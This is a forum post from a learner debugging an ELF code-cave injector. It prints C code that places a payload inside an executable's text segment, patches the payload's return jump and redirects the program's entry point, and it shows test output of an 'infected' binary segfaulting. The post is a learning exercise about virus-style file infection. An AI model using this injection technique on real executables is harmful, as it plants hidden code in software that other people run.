I’ve been working on an ELFInjector inspired by @0x00pf and analyzing his code and using his payload from his github: 0x00sec_code/elfun/payload.asm at master · 0x00pf/0x00sec_code · GitHub
My Code: https://github.com/digitalXmage/Elf-Injector-learning-
Everything works as expected, I Successfully insert the payload and if i don’t change the entry point, the original code runs, as expected. If i change the entry point to the payload offset in the target file. The payload runs, However a segfault happens at the jmp instruction. It seems. So the issue seems to occur when I then have to patch the jmp instruction of the payload to jump back to the original entry point.
So I’m guessing that the elf injector is not editing the jmp instruction correctly. Here’s the function for the patching:
#define RET_PATTERN 0x11111111
struct file_info /*[0] = starting address and [1] = size*/
{
uint64_t cave[2];
uint64_t next_seg[2];
uint64_t text_seg[2];
uint64_t ep;
uint64_t payload_size;
} file;
*Further Down Injector.c , we have the following function for patching (which makes use
of struct file_info which contains information about the target file and the payload)
/*insert the extracted payload into the code cave*/
void insert_payload(Elf64_Shdr payload,int no_segs,Elf64_Phdr *phdr,Elf64_Ehdr *ehdr,uint8_t *mem,uint8_t *payload_data)
{
/*find .text segment*/
for(int i=0;i<=no_segs;i++)
{
if(phdr[i].p_type==PT_LOAD && phdr[i].p_flags == 5)
{
/*increase the size of text segment to accomadate the payload*/
phdr[i].p_memsz += (file.payload_size);
phdr[i].p_filesz += (file.payload_size);
/*move the payload at the end of the segment(start of code cave)*/
memmove(mem+file.cave[0],payload_data + payload.sh_offset,payload.sh_size);
/*patch return address*/
unsigned char *ptr;
long data;
int y,r;
/*pointer to code*/
ptr = (unsigned char *)mem+file.cave[0];
for(y=0;y<(int)file.payload_size;y++)
{
/*get value under pointer pluss offset*/
data = *((long*)(ptr+y));
r = data ^(long)RET_PATTERN;
/*check matching pattern*/
if(r==0)
{
printf("*return address found*\n");
printf("+ Pattern %1x found at offset %d -> %1x\n",RET_PATTERN,y,file.ep);
*((long *)(ptr+y)) = file.ep; //set jmp instruction of payload to original entry point
break;
}
}
ehdr->e_entry = file.cave[0]; //set entry point to the code cave
break;
}
}
}
*Testing the code
./compile
./injector target payload
./target
This file has been infected for 0x00SEC
Segmentation fault
I’ve done some debugging with gdb on injector.c and I can’t seem to find the problem. I’m patching the jmp instruction to the correct address, being the target’s original entry point. I even looked through the assembly program, which appears the segmentation fault occurs. However it seems my injector.c isn’t patching as expected, even though it seems to? And is able to find the jmp instruction in memory.
Honestly This is my last resort. I wouldn’t of posted here, If i wasn’t desperate and tried everything i could think of. Like i say To get a better understanding and test yourself, Go to my github link for the code, and It’s annotated for easy reading etc.
I just don’t seem to understand why the patching isn’t working as expected? I’m 90% sure the segmentation fault occurs because of the jmp instruction, and thus shouldn’t occur when we change the payload’s jmp instruction to a valid address in memory.
*Note: My code is a very rough draft, Apologies for any confusion or readability issues. ANd I’m aware some variables are unused. This was just a quick draft.